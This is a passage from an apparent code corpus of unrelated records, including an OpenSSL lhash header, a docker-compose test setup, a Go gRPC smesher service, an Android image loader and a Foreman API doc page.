LHASH_COMP_FN_TYPE comp;\n LHASH_HASH_FN_TYPE hash;\n unsigned int num_nodes;\n unsigned int num_alloc_nodes;\n unsigned int p;\n unsigned int pmax;\n unsigned long up_load; /* load times 256 */\n unsigned long down_load; /* load times 256 */\n unsigned long num_items;\n unsigned long num_expands;\n unsigned long num_expand_reallocs;\n unsigned long num_contracts;\n unsigned long num_contract_reallocs;\n unsigned long num_hash_calls;\n unsigned long num_comp_calls;\n unsigned long num_insert;\n unsigned long num_replace;\n unsigned long num_delete;\n unsigned long num_no_delete;\n unsigned long num_retrieve;\n unsigned long num_retrieve_miss;\n unsigned long num_hash_comps;\n int error;\n} _LHASH; /* Do not use _LHASH directly, use LHASH_OF\n * and friends */\n\n# define LH_LOAD_MULT 256\n\n/*\n * Indicates a malloc() error in the last call, this is only bad in\n * lh_insert().\n */\n# define lh_error(lh) ((lh)->error)\n\n_LHASH *lh_new(LHASH_HASH_FN_TYPE h, LHASH_COMP_FN_TYPE c);\nvoid lh_free(_LHASH *lh);\nvoid *lh_insert(_LHASH *lh, void *data);\nvoid *lh_delete(_LHASH *lh, const void *data);\nvoid *lh_retrieve(_LHASH *lh, const void *data);\nvoid lh_doall(_LHASH *lh, LHASH_DOALL_FN_TYPE func);\nvoid lh_doall_arg(_LHASH *lh, LHASH_DOALL_ARG_FN_TYPE func, void *arg);\nunsigned long lh_strhash(const char *c);\nunsigned long lh_num_items(const _LHASH *lh);\n\n# ifndef OPENSSL_NO_FP_API\nvoid lh_stats(const _LHASH *lh, FILE *out);\nvoid lh_node_stats(const _LHASH *lh, FILE *out);\nvoid lh_node_usage_stats(const _LHASH *lh, FILE *out);\n# endif\n\n# ifndef OPENSSL_NO_BIO\nvoid lh_stats_bio(const _LHASH *lh, BIO *out);\nvoid lh_node_stats_bio(const _LHASH *lh, BIO *out);\nvoid lh_node_usage_stats_bio(const _LHASH *lh, BIO *out);\n# endif\n\n/* Type checking... */\n\n# define LHASH_OF(type) struct lhash_st_##type\n\n# define DECLARE_LHASH_OF(type) LHASH_OF(type) { int dummy; }\n\n# define CHECKED_LHASH_OF(type,lh) \\\n ((_LHASH *)CHECKED_PTR_OF(LHASH_OF(type),lh))\n\n/* Define wrapper functions. */\n# define LHM_lh_new(type, name) \\\n ((LHASH_OF(type) *)lh_new(LHASH_HASH_FN(name), LHASH_COMP_FN(name)))\n# define LHM_lh_error(type, lh) \\\n lh_error(CHECKED_LHASH_OF(type,lh))\n# define LHM_lh_insert(type, lh, inst) \\\n ((type *)lh_insert(CHECKED_LHASH_OF(type, lh), \\\n CHECKED_PTR_OF(type, inst)))\n# define LHM_lh_retrieve(type, lh, inst) \\\n ((type *)lh_retrieve(CHECKED_LHASH_OF(type, lh), \\\n CHECKED_PTR_OF(type, inst)))\n# define LHM_lh_delete(type, lh, inst) \\\n ((type *)lh_delete(CHECKED_LHASH_OF(type, lh), \\\n CHECKED_PTR_OF(type, inst)))\n# define LHM_lh_doall(type, lh,fn) lh_doall(CHECKED_LHASH_OF(type, lh), fn)\n# define LHM_lh_doall_arg(type, lh, fn, arg_type, arg) \\\n lh_doall_arg(CHECKED_LHASH_OF(type, lh), fn, CHECKED_PTR_OF(arg_type, arg))\n# define LHM_lh_num_items(type, lh) lh_num_items(CHECKED_LHASH_OF(type, lh))\n# define LHM_lh_down_load(type, lh) (CHECKED_LHASH_OF(type, lh)->down_load)\n# define LHM_lh_node_stats_bio(type, lh, out) \\\n lh_node_stats_bio(CHECKED_LHASH_OF(type, lh), out)\n# define LHM_lh_node_usage_stats_bio(type, lh, out) \\\n lh_node_usage_stats_bio(CHECKED_LHASH_OF(type, lh), out)\n# define LHM_lh_stats_bio(type, lh, out) \\\n lh_stats_bio(CHECKED_LHASH_OF(type, lh), out)\n# define LHM_lh_free(type, lh) lh_free(CHECKED_LHASH_OF(type, lh))\n\nDECLARE_LHASH_OF(OPENSSL_STRING);\nDECLARE_LHASH_OF(OPENSSL_CSTRING);\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif\n"} {"text": "class CtxMgr:\n\n def __enter__(self):\n print(\"__enter__\")\n return self\n\n def __exit__(self, a, b, c):\n print(\"__exit__\", repr(a), repr(b))\n\nfor i in range(5):\n print(i)\n with CtxMgr():\n if i == 3:\n break\n"} {"text": "version: \"3\"\nservices:\n ubuntu_node:\n build: .\n image: bolt-spec\n ports:\n - \"20022:22\"\n container_name: ubuntu_node\n puppet_5_node:\n image: bolt-spec\n depends_on:\n - ubuntu_node\n ports:\n - \"20023:22\"\n puppet_6_node:\n image: bolt-spec\n depends_on:\n - ubuntu_node\n ports:\n - \"20024:22\"\n\n postgres:\n image: postgres:9.6\n environment:\n - POSTGRES_PASSWORD=puppetdb\n - POSTGRES_USER=puppetdb\n - POSTGRES_DB=puppetdb\n volumes:\n - ./fixtures/puppetdb/custom_source:/docker-entrypoint-initdb.d\n puppetdb:\n build:\n context: .\n dockerfile: Dockerfile.puppetdb\n args:\n hostname: bolt-puppetdb\n environment:\n - \"USE_PUPPETSERVER=false\"\n - \"CERTNAME=pdb\"\n image: puppetdb\n ports:\n # 8081 is a common port\n - \"18081:8081\"\n\n puppetserver:\n build:\n context: .\n dockerfile: Dockerfile.puppetserver\n image: puppet-server\n ports:\n - \"8140:8140\"\n volumes:\n - ./fixtures/modules:/etc/puppetlabs/code/modules\n"} {"text": "DIRS = iphdrinc\n"} {"text": "#include \"SOG.hpp\"\n#include \"Main.hpp\"\n\n#include <filesystem>\nnamespace fs = std::filesystem;\n\n#include <fstream>\n#include <iostream>\n\nusing std::map;\nusing std::string;\nusing evpair = std::pair<int, int>;\n\nbool ReadSOG(const std::string &input_file, Game *game, const EventData* event_data) {\n map<evpair, string> events;\n fs::path targetDir(input_file);\n fs::recursive_directory_iterator iter(targetDir);\n for(auto& p : iter) {\n fs::path i = p.path();\n if (is_regular_file(i)) {\n std::string evstr = i.filename().string();\n if (evstr.length() > 4 && evstr.substr(evstr.length() - 4) == \".edl\")\n evstr.erase(evstr.length() - 4);\n Event ev = event_data->DecodeEventString(evstr);\n if (ev.IsValid()) {\n if (std::ifstream f{i.string()}) {\n evpair eid = event_data->reverse_get_event(ev);\n std::string code {\n std::istreambuf_iterator<char>(f), std::istreambuf_iterator<char>()\n };\n if (!events.insert(std::make_pair(eid, code)).second) {\n errorStream << \"Logic error: Duplicate event \" << i << \" (\"\n << eid.first << \", \" << eid.second\n << \"): your event configuration is broken.\" << std::endl;\n return false;\n }\n } else {\n errorStream << \"Error: Failed to read \" << i << \"...\" << std::endl;\n return false;\n }\n } else {\n errorStream << \"Error: unrecognized event file \" << i << '.' << std::endl;\n errorStream << \"Supported events:\" << std::endl;\n for (auto st : event_data->events()) {\n errorStream << \" - \" << st.ExampleIDStrings();\n errorStream << std::endl;\n }\n return false;\n }\n } else {\n errorStream << \"Warning: unexpected directory or irregular file \" << i\n << '.' << std::endl;\n }\n }\n if (events.empty()) {\n errorStream << \"Error: Failed to read input \\\"\" << input_file << \"\\\". \"\n \"Is the game empty?\" << std::endl;\n return false;\n }\n\n game->AddSimpleObject(events);\n game->AddDefaultRoom();\n return true;\n}\n"} {"text": "/*-----------------------------------------------------------------------/\r\n/ Low level disk interface modlue include file (C)ChaN, 2014 /\r\n/-----------------------------------------------------------------------*/\r\n\r\n#ifndef _DISKIO_DEFINED\r\n#define _DISKIO_DEFINED\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n#include \"integer.h\"\r\n#include \"sdmmc_cmd.h\"\r\n#include \"driver/sdmmc_host.h\"\r\n\r\n/* Status of Disk Functions */\r\ntypedef BYTE\tDSTATUS;\r\n\r\n/* Results of Disk Functions */\r\ntypedef enum {\r\n\tRES_OK = 0,\t\t/* 0: Successful */\r\n\tRES_ERROR,\t\t/* 1: R/W Error */\r\n\tRES_WRPRT,\t\t/* 2: Write Protected */\r\n\tRES_NOTRDY,\t\t/* 3: Not Ready */\r\n\tRES_PARERR\t\t/* 4: Invalid Parameter */\r\n} DRESULT;\r\n\r\n\r\n/*---------------------------------------*/\r\n/* Prototypes for disk control functions */\r\n\r\n\r\n/* Redefine names of disk IO functions to prevent name collisions */\r\n#define disk_initialize ff_disk_initialize\r\n#define disk_status ff_disk_status\r\n#define disk_read ff_disk_read\r\n#define disk_write ff_disk_write\r\n#define disk_ioctl ff_disk_ioctl\r\n\r\n\r\nDSTATUS disk_initialize (BYTE pdrv);\r\nDSTATUS disk_status (BYTE pdrv);\r\nDRESULT disk_read (BYTE pdrv, BYTE* buff, DWORD sector, UINT count);\r\nDRESULT disk_write (BYTE pdrv, const BYTE* buff, DWORD sector, UINT count);\r\nDRESULT disk_ioctl (BYTE pdrv, BYTE cmd, void* buff);\r\n\r\n/**\r\n * Structure of pointers to disk IO driver functions.\r\n *\r\n * See FatFs documentation for details about these functions\r\n */\r\ntypedef struct {\r\n DSTATUS (*init) (BYTE pdrv); /*!< disk initialization function */\r\n DSTATUS (*status) (BYTE pdrv); /*!< disk status check function */\r\n DRESULT (*read) (BYTE pdrv, BYTE* buff, DWORD sector, UINT count); /*!< sector read function */\r\n DRESULT (*write) (BYTE pdrv, const BYTE* buff, DWORD sector, UINT count); /*!< sector write function */\r\n DRESULT (*ioctl) (BYTE pdrv, BYTE cmd, void* buff); /*!< function to get info about disk and do some misc operations */\r\n} ff_diskio_impl_t;\r\n\r\n/**\r\n * Register or unregister diskio driver for given drive number.\r\n *\r\n * When FATFS library calls one of disk_xxx functions for driver number pdrv,\r\n * corresponding function in discio_impl for given pdrv will be called.\r\n *\r\n * @param pdrv drive number\r\n * @param discio_impl pointer to ff_diskio_impl_t structure with diskio functions\r\n * or NULL to unregister and free previously registered drive\r\n */\r\nvoid ff_diskio_register(BYTE pdrv, const ff_diskio_impl_t* discio_impl);\r\n\r\n#define ff_diskio_unregister(pdrv_) ff_diskio_register(pdrv_, NULL)\r\n\r\n/**\r\n * Register SD/MMC diskio driver\r\n *\r\n * @param pdrv drive number\r\n * @param card pointer to sdmmc_card_t structure describing a card; card should be initialized before calling f_mount.\r\n */\r\nvoid ff_diskio_register_sdmmc(BYTE pdrv, sdmmc_card_t* card);\r\n\r\n/**\r\n * Get next available drive number\r\n *\r\n * @param out_pdrv pointer to the byte to set if successful\r\n *\r\n * @return ESP_OK on success\r\n * ESP_ERR_NOT_FOUND if all drives are attached\r\n */\r\nesp_err_t ff_diskio_get_drive(BYTE* out_pdrv);\r\n\r\n/* Disk Status Bits (DSTATUS) */\r\n\r\n#define STA_NOINIT\t\t0x01\t/* Drive not initialized */\r\n#define STA_NODISK\t\t0x02\t/* No medium in the drive */\r\n#define STA_PROTECT\t\t0x04\t/* Write protected */\r\n\r\n\r\n/* Command code for disk_ioctrl fucntion */\r\n\r\n/* Generic command (Used by FatFs) */\r\n#define CTRL_SYNC\t\t\t0\t/* Complete pending write process (needed at _FS_READONLY == 0) */\r\n#define GET_SECTOR_COUNT\t1\t/* Get media size (needed at _USE_MKFS == 1) */\r\n#define GET_SECTOR_SIZE\t\t2\t/* Get sector size (needed at _MAX_SS != _MIN_SS) */\r\n#define GET_BLOCK_SIZE\t\t3\t/* Get erase block size (needed at _USE_MKFS == 1) */\r\n#define CTRL_TRIM\t\t\t4\t/* Inform device that the data on the block of sectors is no longer used (needed at _USE_TRIM == 1) */\r\n\r\n/* Generic command (Not used by FatFs) */\r\n#define CTRL_POWER\t\t\t5\t/* Get/Set power status */\r\n#define CTRL_LOCK\t\t\t6\t/* Lock/Unlock media removal */\r\n#define CTRL_EJECT\t\t\t7\t/* Eject media */\r\n#define CTRL_FORMAT\t\t\t8\t/* Create physical format on the media */\r\n\r\n/* MMC/SDC specific ioctl command */\r\n#define MMC_GET_TYPE\t\t10\t/* Get card type */\r\n#define MMC_GET_CSD\t\t\t11\t/* Get CSD */\r\n#define MMC_GET_CID\t\t\t12\t/* Get CID */\r\n#define MMC_GET_OCR\t\t\t13\t/* Get OCR */\r\n#define MMC_GET_SDSTAT\t\t14\t/* Get SD status */\r\n#define ISDIO_READ\t\t\t55\t/* Read data form SD iSDIO register */\r\n#define ISDIO_WRITE\t\t\t56\t/* Write data to SD iSDIO register */\r\n#define ISDIO_MRITE\t\t\t57\t/* Masked write data to SD iSDIO register */\r\n\r\n/* ATA/CF specific ioctl command */\r\n#define ATA_GET_REV\t\t\t20\t/* Get F/W revision */\r\n#define ATA_GET_MODEL\t\t21\t/* Get model name */\r\n#define ATA_GET_SN\t\t\t22\t/* Get serial number */\r\n\r\n#ifdef __cplusplus\r\n}\r\n#endif\r\n\r\n#endif\r\n"} {"text": "raise NotImplementedError(\"rfc822 is not yet implemented in Skulpt\")\n"} {"text": "package grpcserver\n\nimport (\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\tpb \"github.com/spacemeshos/api/release/go/spacemesh/v1\"\n\t\"github.com/spacemeshos/go-spacemesh/activation\"\n\t\"github.com/spacemeshos/go-spacemesh/api\"\n\t\"github.com/spacemeshos/go-spacemesh/common/types\"\n\t\"github.com/spacemeshos/go-spacemesh/log\"\n\t\"golang.org/x/net/context\"\n\t\"google.golang.org/genproto/googleapis/rpc/code\"\n\trpcstatus \"google.golang.org/genproto/googleapis/rpc/status\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// SmesherService exposes endpoints to manage smeshing\ntype SmesherService struct {\n\tMining api.MiningAPI\n}\n\n// RegisterService registers this service with a grpc server instance\nfunc (s SmesherService) RegisterService(server *Server) {\n\tpb.RegisterSmesherServiceServer(server.GrpcServer, s)\n}\n\n// NewSmesherService creates a new grpc service using config data.\nfunc NewSmesherService(miner api.MiningAPI) *SmesherService {\n\treturn &SmesherService{\n\t\tMining: miner,\n\t}\n}\n\n// IsSmeshing reports whether the node is smeshing\nfunc (s SmesherService) IsSmeshing(ctx context.Context, in *empty.Empty) (*pb.IsSmeshingResponse, error) {\n\tlog.Info(\"GRPC SmesherService.IsSmeshing\")\n\n\tstat, _, _, _ := s.Mining.MiningStats()\n\tisSmeshing := stat == activation.InitDone\n\treturn &pb.IsSmeshingResponse{IsSmeshing: isSmeshing}, nil\n}\n\n// StartSmeshing requests that the node begin smeshing\nfunc (s SmesherService) StartSmeshing(ctx context.Context, in *pb.StartSmeshingRequest) (*pb.StartSmeshingResponse, error) {\n\tlog.Info(\"GRPC SmesherService.StartSmeshing\")\n\n\tif in.Coinbase == nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"`Coinbase` must be provided\")\n\t}\n\tif in.DataDir == \"\" {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"`DataDir` must be provided\")\n\t}\n\tif in.CommitmentSize == nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"`CommitmentSize` must be provided\")\n\t}\n\n\taddr := types.BytesToAddress(in.Coinbase.Address)\n\tif err := s.Mining.StartPost(addr, in.DataDir, in.CommitmentSize.Value); err != nil {\n\t\tlog.Error(\"error starting post: %s\", err)\n\t\treturn nil, status.Errorf(codes.Internal, \"error initializing smeshing\")\n\t}\n\treturn &pb.StartSmeshingResponse{\n\t\tStatus: &rpcstatus.Status{Code: int32(code.Code_OK)},\n\t}, nil\n}\n\n// StopSmeshing requests that the node stop smeshing\nfunc (s SmesherService) StopSmeshing(ctx context.Context, in *pb.StopSmeshingRequest) (*pb.StopSmeshingResponse, error) {\n\tlog.Info(\"GRPC SmesherService.StopSmeshing\")\n\n\ts.Mining.Stop()\n\treturn &pb.StopSmeshingResponse{\n\t\tStatus: &rpcstatus.Status{Code: int32(code.Code_OK)},\n\t}, nil\n}\n\n// SmesherID returns the smesher ID of this node\nfunc (s SmesherService) SmesherID(ctx context.Context, in *empty.Empty) (*pb.SmesherIDResponse, error) {\n\tlog.Info(\"GRPC SmesherService.SmesherID\")\n\n\tsmesherID := s.Mining.GetSmesherID()\n\treturn &pb.SmesherIDResponse{AccountId: &pb.AccountId{Address: smesherID.ToBytes()}}, nil\n}\n\n// Coinbase returns the current coinbase setting of this node\nfunc (s SmesherService) Coinbase(ctx context.Context, in *empty.Empty) (*pb.CoinbaseResponse, error) {\n\tlog.Info(\"GRPC SmesherService.Coinbase\")\n\n\t_, _, coinbase, _ := s.Mining.MiningStats()\n\taddr, err := types.StringToAddress(coinbase)\n\tif err != nil {\n\t\tlog.Error(\"error converting coinbase: %s\", err)\n\t\treturn nil, status.Errorf(codes.Internal, \"error reading coinbase data\")\n\t}\n\treturn &pb.CoinbaseResponse{AccountId: &pb.AccountId{Address: addr.Bytes()}}, nil\n}\n\n// SetCoinbase sets the current coinbase setting of this node\nfunc (s SmesherService) SetCoinbase(ctx context.Context, in *pb.SetCoinbaseRequest) (*pb.SetCoinbaseResponse, error) {\n\tlog.Info(\"GRPC SmesherService.SetCoinbase\")\n\n\tif in.Id == nil {\n\t\treturn nil, status.Errorf(codes.InvalidArgument, \"`Id` must be provided\")\n\t}\n\n\taddr := types.BytesToAddress(in.Id.Address)\n\ts.Mining.SetCoinbaseAccount(addr)\n\treturn &pb.SetCoinbaseResponse{\n\t\tStatus: &rpcstatus.Status{Code: int32(code.Code_OK)},\n\t}, nil\n}\n\n// MinGas returns the current mingas setting of this node\nfunc (s SmesherService) MinGas(ctx context.Context, in *empty.Empty) (*pb.MinGasResponse, error) {\n\tlog.Info(\"GRPC SmesherService.MinGas\")\n\treturn nil, status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n\n// SetMinGas sets the mingas setting of this node\nfunc (s SmesherService) SetMinGas(ctx context.Context, in *pb.SetMinGasRequest) (*pb.SetMinGasResponse, error) {\n\tlog.Info(\"GRPC SmesherService.SetMinGas\")\n\treturn nil, status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n\n// PostStatus returns post data status\nfunc (s SmesherService) PostStatus(ctx context.Context, in *empty.Empty) (*pb.PostStatusResponse, error) {\n\tlog.Info(\"GRPC SmesherService.PostStatus\")\n\treturn nil, status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n\n// PostComputeProviders returns a list of available post compute providers\nfunc (s SmesherService) PostComputeProviders(ctx context.Context, in *empty.Empty) (*pb.PostComputeProvidersResponse, error) {\n\tlog.Info(\"GRPC SmesherService.PostComputeProviders\")\n\treturn nil, status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n\n// CreatePostData requests that the node begin post init\nfunc (s SmesherService) CreatePostData(ctx context.Context, in *pb.CreatePostDataRequest) (*pb.CreatePostDataResponse, error) {\n\tlog.Info(\"GRPC SmesherService.CreatePostData\")\n\treturn nil, status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n\n// StopPostDataCreationSession requests that the node stop ongoing post data creation\nfunc (s SmesherService) StopPostDataCreationSession(ctx context.Context, in *pb.StopPostDataCreationSessionRequest) (*pb.StopPostDataCreationSessionResponse, error) {\n\tlog.Info(\"GRPC SmesherService.StopPostDataCreationSession\")\n\treturn nil, status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n\n// STREAMS\n\n// PostDataCreationProgressStream exposes a stream of updates during post init\nfunc (s SmesherService) PostDataCreationProgressStream(request *empty.Empty, stream pb.SmesherService_PostDataCreationProgressStreamServer) error {\n\tlog.Info(\"GRPC SmesherService.PostDataCreationProgressStream\")\n\treturn status.Errorf(codes.Unimplemented, \"this endpoint is not implemented\")\n}\n"} {"text": "package dong.lan.tuyi.utils;\n\nimport android.animation.ObjectAnimator;\nimport android.graphics.Bitmap;\nimport android.graphics.BitmapFactory;\nimport android.os.AsyncTask;\nimport android.widget.ImageView;\n\nimport java.io.BufferedOutputStream;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.net.HttpURLConnection;\nimport java.net.URL;\n\nimport dong.lan.tuyi.R;\nimport dong.lan.tuyi.util.FileUilt;\nimport dong.lan.tuyi.util.PhotoUtil;\n\n/**\n * Created by 桂栋 on 2015/7/26.\n */\npublic class MyImageAsyn extends AsyncTask<String,Integer,Bitmap> {\n private ImageView imageView;\n public static final int HEAD =0;\n public static final int NORMAL =1;\n public static final int USER_CENTER =2;\n public static final int THUMNAIL =3;\n private int style=1;\n public static final float down[]=new float[]{1f,0.9f,0.85f,0.8f,0.7f,0.65f,0.6f,0.5f,0.45f,0.4f,0.3f,0.32f,0.27f,0.2f,0.1f,\n 0.15f,0.2f,0.26f,0.333f,0.39f,0.45f,0.53f,0.6f,0.68f,7.4f,0.8f,0.85f,0.9f,0.95f,1f};\n public MyImageAsyn(ImageView imageView,int style)\n {\n this.style =style;\n this.imageView = imageView;\n }\n @Override\n protected void onProgressUpdate(Integer... values) {\n super.onProgressUpdate(values);\n }\n\n\n @Override\n protected void onPostExecute(Bitmap bitmap) {\n if(bitmap==null)\n {\n if(style==HEAD)\n imageView.setImageResource(R.drawable.default_avatar);\n else\n imageView.setImageResource(R.drawable.add_pic);\n if(style==USER_CENTER)\n ObjectAnimator.ofFloat(imageView,\"alpha\",down).setDuration(1000).start();\n }else {\n if (style == HEAD) {\n imageView.setImageBitmap(PhotoUtil.toRoundBitmap(bitmap));\n }\n else {\n imageView.setImageBitmap(bitmap);\n }\n }\n\n }\n\n @Override\n protected Bitmap doInBackground(String... params) {\n\n if(params[0]==null ||params[0].equals(\"\") )\n return null;\n Bitmap bitmap=null;\n File cacheFile = FileUilt.getCacheFile(params[0]);\n if (cacheFile.exists()) {\n try {\n if(style==HEAD)\n return PhotoUtil.getImageThumbnail(cacheFile.getCanonicalPath(),100,100);\n else if(style == THUMNAIL)\n return PhotoUtil.getImageThumbnail(cacheFile.getCanonicalPath(),200,200);\n else\n return PhotoUtil.getImageThumbnail(cacheFile.getCanonicalPath(),960,720);\n } catch (IOException e) {\n e.printStackTrace();\n }\n } else {\n InputStream is = null;\n BufferedOutputStream bos = null;\n try {\n // 显示网络上的图片\n URL myFileUrl = new URL(params[0]);\n HttpURLConnection conn = (HttpURLConnection) myFileUrl\n .openConnection();\n conn.setDoInput(true);\n conn.connect();\n is = conn.getInputStream();\n cacheFile = FileUilt.getCacheFile(params[0]);\n bos = new BufferedOutputStream(new FileOutputStream(cacheFile));\n byte[] buf = new byte[1024];\n int len = 0;\n // 将网络上的图片存储到本地\n while ((len = is.read(buf)) > 0) {\n bos.write(buf, 0, len);\n }\n\n // 从本地加载图片\n bitmap = BitmapFactory.decodeFile(cacheFile.getCanonicalPath());\n\n } catch (IOException e) {\n e.printStackTrace();\n } finally {\n try {\n if (is != null)\n is.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n try {\n if (bos != null)\n bos.close();\n } catch (IOException e) {\n e.printStackTrace();\n }\n }\n }\n return bitmap;\n }\n}\n"} {"text": "<!DOCTYPE html>\n<html>\n<head>\n <title>Api Documentation</title>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\"/>\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n <link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/bootstrap.min.css'/>\n<link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/prettify.css'/>\n<link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/bundled/bootstrap-responsive.min.css'/>\n <link type='text/css' rel='stylesheet' href='../../../apidoc/stylesheets/application.css'/>\n <!-- IE6-8 support of HTML5 elements -->\n <!--[if lt IE 9]>\n <script src=\"//html5shim.googlecode.com/svn/trunk/html5.js\"></script>\n <![endif]-->\n</head>\n<body>\n <div class=\"container-fluid\">\n <div class=\"row-fluid\">\n <div id='container'>\n <ul class='breadcrumb'>\n <li>\n <a href='../../../apidoc/v2.ca.html'>Foreman v2</a>\n <span class='divider'>/</span>\n </li>\n <li>\n <a href='../../../apidoc/v2/architectures.ca.html'>\n Architectures\n \n </a>\n <span class='divider'>/</span>\n </li>\n <li class='active'>create</li>\n <li class='pull-right'>\n &nbsp;[ <a href=\"../../../apidoc/v2/architectures/create.pt_BR.html\">pt_BR</a> | <a href=\"../../../apidoc/v2/architectures/create.de.html\">de</a> | <a href=\"../../../apidoc/v2/architectures/create.it.html\">it</a> | <a href=\"../../../apidoc/v2/architectures/create.sv_SE.html\">sv_SE</a> | <a href=\"../../../apidoc/v2/architectures/create.zh_CN.html\">zh_CN</a> | <a href=\"../../../apidoc/v2/architectures/create.en_GB.html\">en_GB</a> | <a href=\"../../../apidoc/v2/architectures/create.cs_CZ.html\">cs_CZ</a> | <a href=\"../../../apidoc/v2/architectures/create.fr.html\">fr</a> | <a href=\"../../../apidoc/v2/architectures/create.ru.html\">ru</a> | <a href=\"../../../apidoc/v2/architectures/create.ja.html\">ja</a> | <a href=\"../../../apidoc/v2/architectures/create.es.html\">es</a> | <a href=\"../../../apidoc/v2/architectures/create.ko.html\">ko</a> | <b><a href=\"../../../apidoc/v2/architectures/create.ca.html\">ca</a></b> | <a href=\"../../../apidoc/v2/architectures/create.gl.html\">gl</a> | <a href=\"../../../apidoc/v2/architectures/create.en.html\">en</a> | <a href=\"../../../apidoc/v2/architectures/create.zh_TW.html\">zh_TW</a> | <a href=\"../../../apidoc/v2/architectures/create.nl_NL.html\">nl_NL</a> | <a href=\"../../../apidoc/v2/architectures/create.pl.html\">pl</a> ]\n</li>\n\n\n</ul>\n\n <div class='page-header'>\n <h1>\n POST /api/architectures\n <br>\n <small>Crea una arquitectura</small>\n </h1>\n </div>\n\n<div>\n\n \n\n\n\n <h2><span class=\"translation_missing\" title=\"translation missing: ca.apipie.examples\">Examples</span></h2>\n <pre class=\"prettyprint\">POST /api/architectures\n{\n &quot;architecture&quot;: {\n &quot;name&quot;: &quot;i386&quot;\n }\n}\n201\n{\n &quot;created_at&quot;: &quot;2019-02-20 13:38:28 UTC&quot;,\n &quot;updated_at&quot;: &quot;2019-02-20 13:38:28 UTC&quot;,\n &quot;name&quot;: &quot;i386&quot;,\n &quot;id&quot;: 578327761,\n &quot;operatingsystems&quot;: [],\n &quot;images&quot;: []\n}</pre>\n\n <h2><span class=\"translation_missing\" title=\"translation missing: ca.apipie.params\">Params</span></h2>\n <table class='table'>\n <thead>\n <tr>\n <th><span class=\"translation_missing\" title=\"translation missing: ca.apipie.param_name\">Param Name</span></th>\n <th><span class=\"translation_missing\" title=\"translation missing: ca.apipie.description\">Description</span></th>\n </tr>\n </thead>\n <tbody>\n <tr style='background-color:rgb(255,255,255);'>\n <td>\n <strong>location_id </strong><br>\n <small>\n <span class=\"translation_missing\" title=\"translation missing: ca.apipie.optional\">Optional</span>\n \n </small>\n </td>\n <td>\n \n<p>Abast per ubicacions</p>\n\n <p><strong>Validations:</strong></p>\n <ul>\n <li>\n<p>Must be a Integer</p>\n</li>\n </ul>\n\n </td>\n\n </tr>\n\n \n <tr style='background-color:rgb(255,255,255);'>\n <td>\n <strong>organization_id </strong><br>\n <small>\n <span class=\"translation_missing\" title=\"translation missing: ca.apipie.optional\">Optional</span>\n \n </small>\n </td>\n <td>\n \n<p>Abast per organitzacions</p>\n\n <p><strong>Validations:</strong></p>\n <ul>\n <li>\n<p>Must be a Integer</p>\n</li>\n </ul>\n\n </td>\n\n </tr>\n\n \n <tr style='background-color:rgb(255,255,255);'>\n <td>\n <strong>architecture </strong><br>\n <small>\n <span class=\"translation_missing\" title=\"translation missing: ca.apipie.required\">Required</span>\n \n </small>\n </td>\n <td>\n \n <p><strong>Validations:</strong></p>\n <ul>\n <li>\n<p>Must be a Hash</p>\n</li>\n </ul>\n\n </td>\n\n </tr>\n\n <tr style='background-color:rgb(250,250,250);'>\n <td>\n <strong>architecture[name] </strong><br>\n <small>\n <span class=\"translation_missing\" title=\"translation missing: ca.apipie.required\">Required</span>\n \n </small>\n </td>\n <td>\n \n <p><strong>Validations:</strong></p>\n <ul>\n <li>\n<p>Must be a String</p>\n</li>\n </ul>\n\n </td>\n\n </tr>\n\n \n <tr style='background-color:rgb(250,250,250);'>\n <td>\n <strong>architecture[operatingsystem_ids] </strong><br>\n <small>\n <span class=\"translation_missing\" title=\"translation missing: ca.apipie.optional\">Optional</span>\n , &lt;span class=&quot;translation_missing&quot; title=&quot;translation missing: ca.apipie.nil_allowed&quot;&gt;Nil Allowed&lt;/span&gt;\n </small>\n </td>\n <td>\n \n<p>Els ID dels sistemes operatius</p>\n\n <p><strong>Validations:</strong></p>\n <ul>\n <li>\n<p>Must be an array of any type</p>\n</li>\n </ul>\n\n </td>\n\n </tr>\n\n \n\n\n </tbody>\n </table>\n\n\n\n\n</div>\n\n \n\n \n </div>\n </div>\n <hr>\n <footer></footer>\n </div>\n <script type='text/javascript' src='../../../apidoc/javascripts/bundled/jquery.js'></script>\n<script type='text/javascript' src='../../../apidoc/javascripts/bundled/bootstrap-collapse.js'></script>\n<script type='text/javascript' src='../../../apidoc/javascripts/bundled/prettify.js'></script>\n<script type='text/javascript' src='../../../apidoc/javascripts/apipie.js'></script>\n</body>\n</html>\n"} {"text": "/*\n * Copyright (C) 2017 Apple Inc. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n * 1. Redistributions of source code must retain the above copyright\n * notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n * notice, this list of conditions and the following disclaimer in the\n * documentation and/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY\n * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR\n * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 